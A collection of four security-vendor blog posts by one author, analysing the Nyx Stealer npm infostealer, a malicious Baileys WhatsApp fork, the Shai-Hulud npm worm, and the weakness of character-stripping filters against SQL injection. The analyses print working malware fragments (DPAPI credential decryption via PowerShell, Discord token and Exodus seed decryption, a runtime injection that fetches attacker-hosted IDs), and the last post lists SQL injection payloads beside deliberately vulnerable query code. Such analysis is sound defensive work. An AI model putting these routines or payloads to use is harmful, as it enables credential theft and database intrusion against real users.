Forem: Fátima Said

New npm Infostealer Discovery: Nyx Stealer Hijacks Discord Sessions

Fátima Said — Mon, 02 Mar 2026 16:07:49 +0000

TL;DR

The Xygeni Security Research Team identified a sophisticated npm infostealer campaign delivered through two malicious packages: consolelofy and selfbot-lofy.

The latest version (consolelofy@1.3.0) embeds a 216KB AES-encrypted payload that decrypts at runtime and executes via vm.runInNewContext(). Because the malicious logic is fully encrypted, static scanners relying on string inspection cannot observe its behavior until execution time.

Once decrypted, the payload, internally branded Nyx Stealer, targets:

Discord authentication tokens
50+ browser credential stores
90+ cryptocurrency wallet extensions
Roblox, Instagram, Spotify, Steam, Telegram, and TikTok sessions
Discord desktop client persistence

All 20 versions across both packages were reported and confirmed malicious.

Technical Overview of This npm Infostealer

Unlike traditional install-time malware, this campaign relies on a runtime decryption model.

There are:

No malicious preinstall or postinstall hooks
No obvious install-time network calls
No plaintext credential harvesting logic

The payload activates when the module is imported. The entire malicious body is encrypted and only materializes in memory at runtime.

This design specifically avoids detection during package installation.

How This npm Infostealer Actually Executes

Before analyzing what Nyx Stealer steals, we need to understand how it executes.

The malicious logic inside this npm infostealer follows a consistent pattern:

A small loader decrypts a large encrypted payload and executes it dynamically inside a Node.js VM context.

This design is deliberate. The attacker is not hiding functionality behind obfuscation alone, they are removing the malicious code from static visibility entirely.

At a high level, the wrapper does four things:

Derives an AES key from a hardcoded passphrase using SHA-256
Decrypts a large hex-encoded ciphertext using AES-256-CBC
Executes the decrypted JavaScript using vm.runInNewContext()
Provides a sandbox that still exposes powerful runtime primitives

Core Technique Summary

High-Level Execution Model

Component	Configuration / Value
Algorithm	AES-256-CBC
Key Derivation	SHA-256(passphrase)
Initialization Vector (IV)	16 bytes of 0x00
Execution	vm.runInNewContext(decrypted, sandbox)

Critically, the sandbox passes through:

require
process
Buffer
timers
module exports

This means the decrypted payload retains full capability to:

Spawn processes
Read and write files
Make network calls
Modify local applications

This is not a restricted VM. It is a VM used as an execution trampoline.

Runtime Encryption Pattern (Core Execution Mechanism)

The loader is small.

The malicious body is not.

Below is the execution pattern found inside the package:

const crypto = require('crypto');
const vm = require('vm');

function decryptAndExecute(encryptedHex, passphrase) {
    const key = crypto.createHash('sha256')
                      .update(passphrase)
                      .digest();

    const iv = Buffer.alloc(16, 0);

    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
    decrypted += decipher.final('utf8');

    const sandbox = {
        require,
        module,
        exports,
        console,
        process,
        Buffer,
        __dirname,
        __filename,
        setTimeout,
        setInterval,
        clearTimeout,
        clearInterval
    };

    vm.runInNewContext(decrypted, sandbox);
}

Why This Matters

The decrypted payload:

Does not exist in plaintext inside the npm package
Is invisible to simple grep or static string scanning
Only materializes in memory at runtime
Executes with full Node runtime capabilities

This AES + VM execution combination is a strong behavioral indicator of an npm infostealer attempting to evade static inspection.

In other words:

If you scan the package source tree, you do not see a stealer.
You see a decryptor.

What Happens After Decryption

Once executed, Nyx Stealer launches parallel data collection waves.

Wave 1: Browser Credential Extraction

The malware:

Downloads a Python runtime from NuGet CDN
Installs cryptographic libraries
Extracts Chromium-based credential stores
Decrypts DPAPI-protected secrets

Instead of compiling native bindings, it leverages PowerShell to call Windows DPAPI directly.

function dpapiUnprotectWithPowerShell(dataBuf) {
    const b64 = dataBuf.toString('base64');

    const ps =
        "Add-Type -AssemblyName System.Security;" +
        "$b=[Convert]::FromBase64String('" + b64 + "');" +
        "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
        "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
        "[Console]::Out.Write([Convert]::ToBase64String($p))";

    const cmd =
        `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;

    return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}

This approach:

Avoids compilation artifacts
Uses native Windows crypto APIs
Blends into administrative tooling

It is OS-level credential decryption, not scraping.

Wave 2: Discord Token Decryption

The stealer is protocol-aware. It understands Discord’s encrypted token format.

function decryptToken(encryptedToken, key) {
    const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
    const encryptedData = Buffer.from(tokenParts[1], 'base64');

    const iv = encryptedData.slice(3, 15);
    const ciphertext = encryptedData.slice(15, -16);
    const tag = encryptedData.slice(-16);

    const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
    decipher.setAuthTag(tag);

    return decipher.update(ciphertext).toString('utf8');
}

Operational flow:

Extract master key from Discord’s Local State
Decrypt master key via DPAPI
Decrypt AES-GCM token blobs
Validate tokens against Discord API
Enrich with Nitro, badges, billing info

This is not generic credential dumping. It is protocol-aware session hijacking.
If successful, wallet compromise is immediate and irreversible.

This represents the campaign’s highest-value monetization vector.

Persistence via Discord Desktop Injection

After harvesting credentials, Nyx Stealer attempts persistence by modifying the local Discord client.

Target:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Operational Sequence

The infostealer performs the following steps:

Terminates running Discord processes
Locates installed Discord variants (Stable, Canary, PTB)
Overwrites discord_desktop_core/index.js
Injects attacker-controlled webhook logic
Restarts Discord

This ensures that future Discord sessions automatically leak fresh authentication tokens.

Importantly, this persistence does not rely on scheduled tasks or registry modifications. It leverages application-level code modification, a stealthier approach.

Even if the malicious npm package is later removed, the Discord client remains compromised.

Technical Comparison: Legitimate Selfbot vs npm Infostealer

Component	Legitimate Library	Nyx npm Infostealer
Encryption	None	Full AES-encrypted payload
Runtime VM	Not required	`vm.runInNewContext` execution
Credential Access	Discord API only	Browser, wallets, DPAPI
External Downloads	No	Python runtime via NuGet
Persistence	No	Discord client injection
Monetization	Bot automation	Credential resale

Wave 3: Cryptocurrency Wallet Targeting

The npm infostealer enumerates:

90+ browser wallet extensions
27 desktop wallets
Cold wallet paths
Exodus seed files

Example seed decryption attempt:

function decryptSeco(content, password) {
    const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');

    const decipher = crypto.createDecipheriv(
        'aes-256-gcm',
        key,
        content.slice(0, 12)
    );

    decipher.setAuthTag(content.slice(-16));

    return Buffer.concat([
        decipher.update(content.slice(12, -16)),
        decipher.final()
    ]).toString('utf8');
}

The encryption layer alone already separates this campaign from a typical open-source fork.

A legitimate Discord selfbot has no reason to encrypt its entire codebase, spawn PowerShell to access DPAPI, download external runtimes, or modify desktop application internals. When those capabilities appear inside a dependency that claims to automate Discord interactions, the architectural mismatch becomes impossible to ignore.

From an investigation standpoint, this npm infostealer leaves traces across multiple layers. However, the most reliable indicators are not hardcoded URLs or specific file paths, since those can change between versions. Instead, the durable signals are structural.

At the package level, the strongest red flag is the combination of a large encrypted payload and a runtime decryption wrapper that immediately executes via vm.runInNewContext(). While encryption alone is not inherently malicious, using AES decryption followed by dynamic VM execution inside a Discord utility package is highly anomalous.

At the host level, suspicious patterns include unexpected DPAPI decryption activity, process spawning from a Node.js dependency context, and modification of local application files that should never be altered by third-party libraries. Likewise, at the network layer, outbound webhook-style communication initiated by a development dependency represents another meaningful anomaly.

In other words, the detection surface is not a single indicator of compromise. It is the correlation of encryption, runtime execution, credential access, and persistence behavior that reveals the threat.

Detection and Mitigation with Xygeni

npm Infostealer

This npm infostealer was identified by Xygeni’s Malware Early Warning (MEW) through layered behavioral correlation rather than simple signature matching.

Instead of searching for known malicious strings, MEW evaluates structural anomalies across the full source tree. In this case, detection emerged from the convergence of several signals: an embedded AES decryption routine in the module entry point, immediate execution inside a VM context, and a clear capability-to-intent mismatch.

Importantly, none of these signals alone prove malicious intent. However, when analyzed together, they expose an attempt to conceal runtime behavior. This layered approach significantly reduces false positives while identifying high-confidence supply chain threats.

Furthermore, this case illustrates why install-time inspection alone is insufficient. The malicious logic does not reside in lifecycle scripts. It activates only after the module loads and only becomes visible once decrypted in memory. Therefore, effective defense requires encryption-aware analysis, behavioral pattern recognition, and continuous dependency monitoring beyond installation events.

Request Demo

Registry takedown is reactive. Runtime-aware analysis is preventative.

Why This npm Infostealer Matters

Nyx Stealer represents a structural evolution in npm-based malware.

Historically, many malicious packages relied on visible install-time scripts or obvious credential exfiltration endpoints. By contrast, this campaign encrypts its payload, defers execution to runtime, leverages legitimate operating system APIs, and establishes persistence inside trusted applications.

Consequently, the attacker does not need to exploit npm infrastructure itself. Instead, the attack succeeds because dependency installation implies trust. Developers assume that importing a library is a safe operation, particularly when it presents itself as a plausible fork of a popular tool.

As ecosystems continue to grow and forks proliferate, that implicit trust boundary becomes an increasingly attractive attack surface. Therefore, defending against modern npm infostealers requires recognizing architectural patterns rather than searching for static strings.

Ultimately, this campaign reinforces a critical lesson in software supply chain security: the most dangerous threats are not the ones that look malicious at first glance, but the ones that appear structurally legitimate until runtime reveals their true behavior.

Malicious npm Package in Baileys Fork (Skyzopedia Case)

Fátima Said — Fri, 27 Feb 2026 09:40:10 +0000

TL;DR

The Xygeni Security Research Team identified a malicious npm package, @dappaoffc/baileys-mod, published as a fork of the widely used WhatsApp Web API library @whiskeysockets/baileys.

Starting from version 8.0.1, this malicious npm package contains a runtime code injection inside lib/Socket/newsletter.js. The injected logic silently subscribes the developer’s authenticated WhatsApp bot session to attacker-controlled newsletter channels.

The payload activates 80 seconds after module load and dynamically retrieves its target list from GitHub, making the behavior self-updating and difficult to detect through install-time analysis.

Technical Overview

During routine monitoring of newly published dependencies, the Xygeni Security Research Team detected anomalous behavior in @dappaoffc/baileys-mod, later confirmed as a malicious npm package targeting the WhatsApp bot ecosystem.

Unlike credential-stealing worms or ransomware droppers, this malicious npm package abuses the trust relationship between a developer and a commonly forked open source library.

The package presents itself as a modified version of Baileys, a popular WhatsApp Web API implementation widely used to build automation bots. Within that ecosystem, installing forks is common practice. Consequently, the attacker leveraged a realistic distribution model rather than exploiting a vulnerability.

Importantly:

The preinstall script only validates Node.js version
No credential exfiltration occurs at install time
No suspicious postinstall activity appears
The injection executes strictly at runtime

Because of this design, install-time scanners would not detect malicious behavior.

Runtime Injection Mechanism Inside the Malicious npm Package

The malicious logic inside this malicious npm package lives in lib/Socket/newsletter.js, embedded directly within the module’s execution context.

The attacker wrapped the injected block in an Immediately Invoked Function Expression (IIFE), which guarantees execution as soon as the module loads.

However, instead of triggering immediately, the payload introduces a delayed execution mechanism:

(async () => {
  try {
    setTimeout(async () => {
      const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
      const newsletterIds = await res.json();
      newsletterIds.forEach(async (i) => {
        await delay(5000);
        try {
          await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
        } catch (e) {}
      });
    }, 80000);
  } catch (err) {}
})();

After the delay expires, the payload performs a controlled sequence:

Fetches a JSON file from a GitHub raw content URL.
Parses a list of WhatsApp newsletter IDs.
Iterates through the list.
Calls newsletterWMexQuery(id, QueryIds.FOLLOW) for each entry.
Spaces requests five seconds apart to reduce rate-limit detection.
Silently suppresses all runtime errors.

Because the code invokes internal library functions rather than external scripts, the resulting traffic appears indistinguishable from legitimate user-initiated actions. From WhatsApp’s protocol perspective, the bot voluntarily subscribed to those channels.

Technical Comparison: Legitimate vs Injected Behavior

Component	Legitimate Behavior	Malicious Injection
Installation Phase	Validates Node.js version only	No visible malicious behavior at install time
Module Initialization	Exports WhatsApp socket factory	IIFE executes automatically on module load
Execution Timing	No delayed behavior	80-second delayed activation
Network Communication	Communicates only through WhatsApp WebSocket protocol	Outbound fetch to GitHub raw content (dynamic control channel)
Newsletter Actions	User-initiated subscription requests	Automated FOLLOW requests via internal library API
Error Handling	Propagates operational errors	Silently suppresses all exceptions

Dynamic Control Channel via GitHub

The newsletter ID list is hosted at:

https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json

This design provides several operational advantages:

Dynamic payload updates without publishing a new npm version
Trusted TLS endpoint that blends into normal developer traffic
No attacker-managed infrastructure required
Persistence across already deployed bots

Because the injection executes inside the factory scope, it reuses internal closures such as newsletterWMexQuery and delay without importing external modules. This minimizes footprint and increases stealth.

Effectively, GitHub acts as a lightweight command distribution channel.

Dependency Alias and Attribution Signals

The package metadata includes the following dependency alias:

"libsignal": "npm:@skyzopedia/libsignal-node"

This redirects a critical cryptographic dependency to an attacker-controlled npm scope.

Additionally, the metadata impersonates the upstream project by referencing the original author and repository. This increases perceived legitimacy and reduces scrutiny during casual review.

These signals indicate deliberate ecosystem blending rather than opportunistic tampering.

Indicators of Compromise for This Malicious npm Package

Security teams investigating this malicious npm package should evaluate the following signals:

Network Signals

Outbound GET requests to raw.githubusercontent.com from WhatsApp bot processes
Newsletter FOLLOW actions occurring without application logic triggering them

Package Signals

@dappaoffc/baileys-mod version 8.0.1 (and potentially 8.0.0)
Dependency alias redirecting libsignal
Runtime IIFE injection inside newsletter.js

Behavioral Signals

FOLLOW requests spaced in five-second intervals
No user interaction preceding newsletter subscriptions
Silent error suppression inside core library code

Unlike traditional malware, this attack does not require credential exfiltration. The abuse occurs entirely within an already authenticated session context.

Detection and Mitigation with Xygeni

This case illustrates why install-time scanning alone is insufficient. The malicious behavior executes after module load and hides inside legitimate business logic.

Xygeni’s Malware Early Warning (MEW) detected this package by correlating multiple signals rather than relying on a single signature.

Full-Source Static Analysis

MEW inspects complete package source trees, not only lifecycle scripts.

In this case, detection signals included:

An unexpected fetch() call inside a WhatsApp core module
Outbound communication to GitHub raw content
Delayed execution patterns embedded in runtime logic
Nested silent error handling

Individually, these patterns may appear benign. However, combined analysis reveals anomalous behavior inconsistent with a legitimate Baileys fork.

Dependency Risk Correlation

The libsignal alias triggered additional scrutiny because it redirects a sensitive dependency to an unverified scope.

Xygeni correlates:

Publisher reputation signals
Scope ownership inconsistencies
Dependency redirection on cryptographic libraries
Metadata impersonation indicators

This layered analysis reduces false positives while identifying trust abuse.

Runtime-Aware Supply Chain Controls

Because this malicious npm package executes at runtime, effective defense requires behavior-aware analysis.

Xygeni evaluates:

Delayed execution mechanisms
Internal API misuse
Outbound network calls inside dependency code
Anomalous control flow inside third-party libraries

Additionally, Guardrails policies in CI/CD can:

Block unexpected outbound calls during builds
Detect suspicious dependency graph changes
Enforce restrictions on scope redirection
Flag dynamic payload retrieval patterns

Therefore, containment does not rely solely on registry takedown.

Why This Malicious npm Package Matters for Supply Chain Security

This malicious npm package reflects a structural shift in supply chain abuse:

Runtime execution instead of install-time payloads
Dynamic control channels hosted on trusted platforms
Abuse of legitimate internal APIs
Metadata spoofing to mimic upstream maintainers

The attacker did not exploit a software vulnerability. Instead, the attacker exploited trust in forks and dependency updates.

Consequently, detection requires full-source inspection, dependency risk correlation, and runtime-aware analysis, not just script scanning.

Shai-Hulud: The npm Packages Worm Explained

Fátima Said — Wed, 17 Sep 2025 22:00:00 +0000

TL;DR

On September 14, 2025, researchers identified Shai-Hulud, a self-replicating worm hidden inside npm packages, turning a routine dependency update into a full-scale supply chain attack. First spotted in the @ctrl/tinycolor package by Daniel dos Santos Pereira, Shai-Hulud harvests secrets, exfiltrates them through GitHub repos and workflows, and republishes itself across the registry using stolen credentials. Within days, the number of infected packages jumped from dozens to hundreds, confirming that Shaihulud is not just another trojan but a worm designed to spread automatically across the npm ecosystem.

Impact: any developer or CI runner installing public npm packages is at risk.

Immediate actions: block known versions, switch to lockfile-only installs, rotate npm and GitHub tokens, audit workflows, and monitor for Indicators of Compromise (IoCs).

What Happened?

The Shai-Hulud supply chain attack in npm packages is one of the most disruptive incidents in recent memory. Unlike isolated trojans, this worm mixes credential theft, automated exfiltration, and self-replication. Consequently, the infection timeline shrank from weeks to just hours.

For DevOps teams, the lesson is clear: if every install can execute code, then every dependency update is a potential breach point.

Possible Initial Vector and Targeted Credentials

Early analysis indicates that the attack likely started with stolen credentials. For instance, phishing campaigns spoofing npm login or MFA prompts may have captured developer tokens. Once attackers gained that first foothold, the worm spread by embedding itself into npm packages and stealing more secrets from:

npm config files like .npmrc, often containing publish tokens.
Environment variables and configs with GitHub PATs and CI/CD secrets.
Cloud metadata endpoints (AWS, GCP, Azure) yielding short-lived credentials for lateral movement.

Therefore, credential theft became the launchpad. With valid npm tokens and GitHub secrets, Shai-Hulud could self-replicate across multiple packages and repositories without extra human effort.

Timeline of the Shai-Hulud Supply Chain Attack in npm Packages

Sep 14, 2025 18:35 UTC – First infected releases land on npm

Compromised versions show a hidden bundle.js executed through a postinstall hook.
Sep 14–15 – Suspicious installs raise alarms

Developers notice odd behavior in @ctrl/tinycolor. Daniel dos Santos Pereira flags the anomaly.
Sep 16 AM – Exfiltration pattern becomes clear

Secrets leak through:
- A GitHub repo named Shai-Hulud with a double-base64 data.json.
- A GitHub Actions workflow serializing ${{ toJSON(secrets) }} to a webhook.
Sep 16 PM – Propagation confirmed at registry scale

With stolen npm tokens, the worm republishes itself across all packages owned by compromised maintainers. Infection jumps from dozens to hundreds.
Sep 16–17 and ongoing – Widespread impact

Infected npm packages continue to appear. Organizations freeze updates, enforce lockfile-only installs, and rotate all tokens.

The early vector shows how fragile modern pipelines can be. A single stolen npm token or GitHub secret opened the door for the Shai-Hulud supply chain attack in npm packages. Once inside, the worm scaled fast, turning one compromised maintainer into hundreds of infected projects. Therefore, the real risk is not only technical but also organizational: what happens in hours can ripple through CI/CD systems, developer laptops, and cloud accounts.

2. Executive Impact of the Shai-Hulud Supply Chain Attack

Shai-Hulud is still active today. This worm speeds up the impact timeline. What once took weeks with a trojan now unfolds in hours. As a result, the spread is faster and harder to contain. It advances by:

Stealing npm publish tokens and GitHub secrets.
Republishing itself into other npm packages.
Adding malicious GitHub Actions workflows for persistence.

Who is affected:

Any team that installs public npm packages is exposed. Moreover, developers with cached npm or GitHub tokens face high risk. CI runners that use broad-scoped secrets are also vulnerable.

Business risk:

The business impact grows quickly. Stolen tokens can lead to account takeover, package hijacking, and even cloud misuse. In addition, persistence in GitHub workflows makes it harder to clean. Therefore, teams must treat Shai-Hulud as an ongoing incident, not a closed one.

3. How the Shai-Hulud Supply Chain Attack Works in npm Packages

3.1 Attacker Objectives and Motive

The campaign optimizes for three things:

Steal credentials at scale from developer laptops and CI runners (npm tokens, GitHub tokens, cloud creds).
Propagate automatically by abusing the publishing rights of compromised maintainers.
Persist and exfiltrate reliably through GitHub repos and workflows.

Likely payoff: long-lived access to registries and code, fast lateral movement into cloud accounts, and further supply chain weaponization.

3.2 Inside the Shai-Hulud Payload: `bundle.js`

Large Webpack-bundled and heavily minified JavaScript file (~3–3.7 MB).
Executes from a postinstall hook in package.json.

Traits:

Minified module graph with numeric IDs.
Base64 string hiding.
Dynamic eval-style dispatch.
OS filtering to prefer Linux/macOS.

3.3 Install-Time Execution

Discovery and harvesting:

Dumps process.env, scans for secrets, runs TruffleHog.
Queries cloud metadata endpoints (AWS: 169.254.169.254, GCP: metadata.google.internal).

Exfiltration:

Creates public repo Shai-Hulud with double-base64 data.json.
Plants a GitHub Actions workflow serializing ${{ toJSON(secrets) }}.

Propagation:

Injects bundle.js + postinstall into packages owned by compromised maintainers, republishes malicious versions.

Persistence and Exposure

The worm keeps malicious workflows alive and, in several cases, flips private repos to public with a “-migration” suffix. Altogether, this ensures the attacker maintains a foothold and maximizes data leakage.

Key Detection Note

This unusual use of ${{ toJSON(secrets) }} in Actions workflows is rare. Therefore, teams should treat it as a high-signal indicator during hunts.

Sanitized Workflow Pattern You Should Hunt For

This unusual use of toJSON(secrets) in Actions is a high-signal indicator in this incident.

High-Level Propagation Pseudo-Code (Safe, Descriptive)

async function propagate(token, owner) {
  const pkgs = await npmApi.listPackages(owner, token);
  for (const p of pkgs) {
    const tgz = await npmApi.fetchTarball(p, token);
    const modified = injectBundleAndPostinstall(tgz); // adds bundle.js + "postinstall"
    await npmApi.publish(modified, token);            // publishes new malicious version
  }
}

Analysts observed this loop at scale, which explains the rapid jump from dozens to hundreds of infected packages.

3.4 Why This Is a Worm in a Package Ecosystem

A worm is malware that spreads on its own without requiring manual operator steps at every stage. In operating systems, worms usually exploit network vulnerabilities to move from one machine to another. In contrast, Shai-Hulud operates inside the npm registry. Its efficient path is through credential reuse.

The worm takes advantage of stolen npm publish tokens. As soon as it obtains valid credentials, it republishes infected versions under other packages owned by the same maintainer. Subsequently, those packages are installed by unsuspecting developers or CI runners, and the cycle repeats.

For this reason, security analysts, including Dark Reading, classify Shai-Hulud as a self-replicating worm rather than a simple trojan or a typosquatting incident. The difference is important: a trojan typically compromises one host, but a worm amplifies its impact automatically across an ecosystem.

3.5 “How It Works” Cheat-Sheet

To summarize Shai-Hulud’s lifecycle, here is a concise breakdown of its main steps:

A package with postinstall is installed, and bundle.js executes.
The payload dumps environment variables, scans files and git history, runs TruffleHog, and queries cloud metadata services. Any secret found becomes immediately useful.
Exfiltration occurs in two ways:
- By creating a public repo named Shai-Hulud with a double base64-encoded data.json.
- By planting a GitHub Actions workflow that posts ${{ toJSON(secrets) }} to a webhook.
Using any stolen npm token, the worm republishes all other packages owned by the compromised maintainer with the same malicious hook.
Finally, the attacker holds more secrets, more packages to spread through, and persistence inside GitHub accounts and repositories.

4. How to Avoid This Class of Attack, Practically

Shai-Hulud is a wake-up call. A worm that steals tokens and republishes itself is not a future risk—it is live in the npm packages ecosystem today. To prevent this type of supply chain attack, teams need controls that are programmable, automated, and enforced directly in CI/CD pipelines. These are the same defenses you can already implement with Xygeni.

Stop Bad Artifacts at the Gate

Scan npm packages and tarballs before they reach developers or CI jobs. Oversized bundle.js files, suspicious postinstall hooks, and obfuscation markers are early red flags. Enforcing cool-off periods and pinned versions in pipelines also prevents fresh, unvetted releases from being consumed automatically.

Harden CI/CD by Default

Guardrails in CI/CD are essential. They reject merges or installs that introduce new scripts or binaries. They also block workflows that serialize secrets or attempt external posts. Teams should require lockfile-only installs (npm ci) across all pipelines so dependency sets remain reproducible and safe.

Reduce the Token Blast Radius

Secrets must not become single points of failure. Continuously scan code, configs, and pipeline output for exposed credentials. Tokens should be scoped narrowly, given short lifetimes, and rotated automatically when exposure is detected. Treat any token used on a host that executed a suspicious postinstall as compromised.

See Worm Behavior Early

Anomaly detection is key. For example, sudden spikes in npm publish events, new workflows appearing without reason, or fresh public repos filled with strange encoded files can all signal worm activity. Teams should raise alerts quickly and isolate any maintainers or runners showing these signs.

Fix Quickly Without Breaking Builds

Speed and safety must go together. Automated pull requests can replace compromised npm packages with vetted versions. In addition, reachability and exploitability analysis ensures upgrades stay minimal and stable. Finally, rebuild affected CI runners from clean images once exposure is confirmed.

5. Indicators of Compromise (IoCs)

When analyzing Shai-Hulud, teams should watch for both static IoCs in files and behavioral IoCs in pipelines. Together, these signals help detect infections early and respond before the worm spreads further.

Static IoCs

SHA-256 digests matching observed bundle.js samples:

46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
81d2a004a1bca6ef87a1caf7d0e0b355ad1764238e40ff6d1b1cb77ad4f595c3
dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c

Other patterns:

A bundle.js at the package root.
"postinstall": "node bundle.js" inside package.json.
Repositories named Shai-Hulud.
GitHub workflows containing ${{ toJSON(secrets) }}.

Behavioral IoCs

Beyond file signatures, worm activity shows itself through behavior:

Sudden bursts of npm publish events from one maintainer.
New workflows that push data to external endpoints.
Outbound POST requests triggered from CI runners.
Recently created public repos with encoded blobs.

Quick Hunts

bash
# Find postinstall in package.json
grep -R --line-number '"postinstall"' --include="package.json" /path/to/archives

# Detect tarballs with bundle.js
find /path/to/tarballs -name "*.tgz" -print0 \
 | xargs -0 -n1 -I{} sh -c 'tar -tf "{}" | grep bundle.js && echo "== {}"'

# Search workflows for toJSON(secrets)
grep -R --line-number "toJSON(secrets)" --include="*.yml" .github || true

6. Conclusion: Lessons from Shai-Hulud

The Shai-Hulud supply chain attack in npm packages shows how fragile today’s software supply chain has become. This worm did more than add malicious code. It stole tokens, sent data out, and republished itself automatically. Because of this, the attack spread in hours instead of weeks.

Lessons for Developers and DevOps Teams:

Every install runs code. Even a common npm package can hide a postinstall worm.
Every token has high value. Once stolen, it can be used to spread malware further.
Every pipeline needs checks. Without guardrails, one compromise can quickly hit production.

Stopping attacks like Shai-Hulud requires controls that are automatic and easy to enforce. Teams should scan npm packages before installs, use lockfile builds, detect strange publishing activity, and keep tokens short-lived. These are now the foundation of resilience in modern pipelines.

At Xygeni, we see Shai-Hulud as a warning for the entire open source ecosystem. The sustainable way forward is to bring supply chain security directly into the development process, at the point where code, npm packages, and pipelines connect.

Analysts observed this loop at scale, which explains the rapid jump from dozens to hundreds of infected packages.

For the full list of compromised packages, please visit the blog: Shai-Hulud: The npm Packages Worm Explained

Why Stripchar Didn’t Block That Injection Attack

Fátima Said — Mon, 25 Aug 2025 14:10:00 +0000

If you use stripchar to clean user input, you’re not alone. Many developers rely on this kind of input sanitization to block injection attempts. At first glance, it seems logical: remove dangerous characters, and the payload disappears. However, this approach gives a false sense of security. Attackers can bypass simple filters like stripchar using obfuscated payloads, encodings, or clever context switching.

That’s why smart developers don’t stop there. Instead, they use parameterized queries, which prevent injection attacks at the root.

In this post, you’ll learn why stripchar fails in real-world scenarios, how attackers abuse these filters, and what secure alternatives actually work. We’ll walk through code examples, show common bypass techniques, and explain how input sanitization must always be paired with structural protections like parameterized queries, or you’ll stay vulnerable.

What `stripchar` Actually Does (and Doesn’t)

Many developers use stripchar or similar functions to remove unsafe characters from user input. Typically, it strips punctuation, special symbols, or anything not alphanumeric. At first, that sounds like input sanitization, but it’s not real protection.

Let’s break it down. A function like this:

function stripchar(input) {
  return input.replace(/[^\w\s]/gi, '');
}

removes characters like ', ", or ;.

So, if you enter:

'; DROP TABLE users; --

It becomes:
Even if user input looks clean, attackers can still inject SQL payloads using logic alone, especially when the application builds queries through string concatenation. To truly prevent SQL injection, you must use parameterized queries and context-aware input handling. Character filters like stripchar() simply aren't enough.

Sure, stripped input may look safer at a glance. However, this approach doesn’t neutralize malicious logic — it only changes how it’s written. In fact, attackers often take advantage of this by encoding payloads, inserting whitespace, or using removed characters strategically to bypass your filter entirely.

Besides, stripchar lacks critical context. It doesn’t know whether input is headed for a database, a shell, or a browser. That means it can’t apply the right escaping or encoding. Sanitizing input without knowing the destination is like escaping HTML while the real threat is SQLi.

In the end, stripchar doesn’t interpret or secure anything, it just edits strings. And editing isn’t security. If you want real protection, use structured, validated, and parameterized queries. Full stop.

To make the difference clearer, here’s how stripchar compares side-by-side with parameterized queries:

How Attackers Bypass Input Sanitization

This is how a typical vulnerable flow looks when developers rely on stripchar for input sanitization:

Attackers don’t need to break your filters, they just need to go around them.

When developers rely on stripchar for input sanitization, they often assume that removing characters like quotes or semicolons will block injection attempts. However, attackers adapt quickly. They craft obfuscated payloads that slip through regex-based filters, especially when those filters lack context.

For example, let’s say you try to sanitize input like this:

const input = stripchar(userInput);
// safe to use? maybe not.
db.query("SELECT * FROM users WHERE name = '" + input + "'");

Even if the user can’t submit a classic ' OR 1=1 --, they can use Unicode tricks, string concatenation, or broken syntax that still runs. Payloads like this often work:

0x27206F7220313D31--

or:

'+UNION+SELECT+null,null,null--

If your function strips non-word characters, you may accidentally reconstruct a valid SQL command. Worse, attackers can encode values in ways that pass your filter but get decoded by the target system.

Besides SQL injection, stripchar fails in other contexts too, like shell commands, file paths, or even JavaScript execution. Since it lacks any awareness of where the input will be used, it can’t apply proper escaping or validation.

As a result, input sanitization with stripchar is easy to bypass. Real security comes from context-aware controls, especially parameterized queries that prevent logic injection entirely.

Why You Should Use Parameterized Queries Instead

If you want to stop injection attacks for real, you need to stop building queries with strings. That’s where parameterized queries come in. Unlike stripchar, they don’t filter, they separate code from data at the engine level.

Let’s revisit the broken query:

const input = stripchar(userInput);
const query = "SELECT * FROM users WHERE name = '" + input + "'";

This is dangerous because the input gets injected directly into SQL. Even with character stripping, you’re still building a string that could be misused. Instead, use a parameterized query like this:

const query = "SELECT * FROM users WHERE name = ?";
db.execute(query, [userInput]);

Here, the database driver knows that userInput is data, not executable code. It escapes it automatically and blocks injection, even if the input contains quotes, semicolons, or hex-encoded payloads.

In Python:

cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

In PHP with PDO:

$stmt = $pdo->prepare("SELECT * FROM users WHERE name = :name");
$stmt->execute(['name' => $input]);

Across all these examples, parameterized queries prevent injection without needing to guess which characters might be dangerous. You don’t need stripchar, you need structured, context-aware query construction.

Additionally, this technique blocks obfuscated payloads, Unicode tricks, and encoding bypasses, the same evasive patterns found in XSS vulnerabilities. Tools like Xygeni catch these threats early with SAST analysis.

In short, real defenses don’t rely on filters. They rely on protocols, trusted APIs, and full context. If you use frameworks or dynamic service injection, be aware of how inputs propagate through your codebase. Secure dependency injection ensures even complex flows won’t open up new attack surfaces.

Don’t Rely on `stripchar`. Use Xygeni to Enforce Real Defenses

Even if you use parameterized queries, there’s no guarantee your whole codebase follows the same standard. Legacy logic, third-party scripts, or overlooked lines in a PR can still introduce injection risks. That’s exactly where Xygeni helps.

Xygeni scans your source code, pull requests, and CI pipelines to catch:

Query strings that build SQL with concatenation
Weak or homegrown filters like stripchar
Suspicious logic that matches known obfuscated payloads

You don’t need to comb through every line. Xygeni flags unsafe patterns early, applies AutoFix where possible, and can block risky merges with customizable Guardrails.

In short, Xygeni makes sure parameterized queries aren’t just a best practice, they’re enforced at scale. No more guesswork. No missed filters. Just real protection.

Key Takeaways: What to Remember About `stripchar` and Injection Risks

stripchar is not a security function — it removes characters, not risk.
Input sanitization isn’t enough when you’re building queries with string concatenation.
Parameterized queries are the correct defense, and every modern language or framework supports them.
Obfuscated payloads can slip past filters, especially if encoding tricks are involved.
Static analysis (SAST) tools catch what humans miss, including insecure patterns hiding in legacy code.
Xygeni automates detection, prioritization, and even remediation so your team can focus on writing features, not chasing vulnerabilities.

Conclusion: Don’t Trust Filters. Secure by Design.

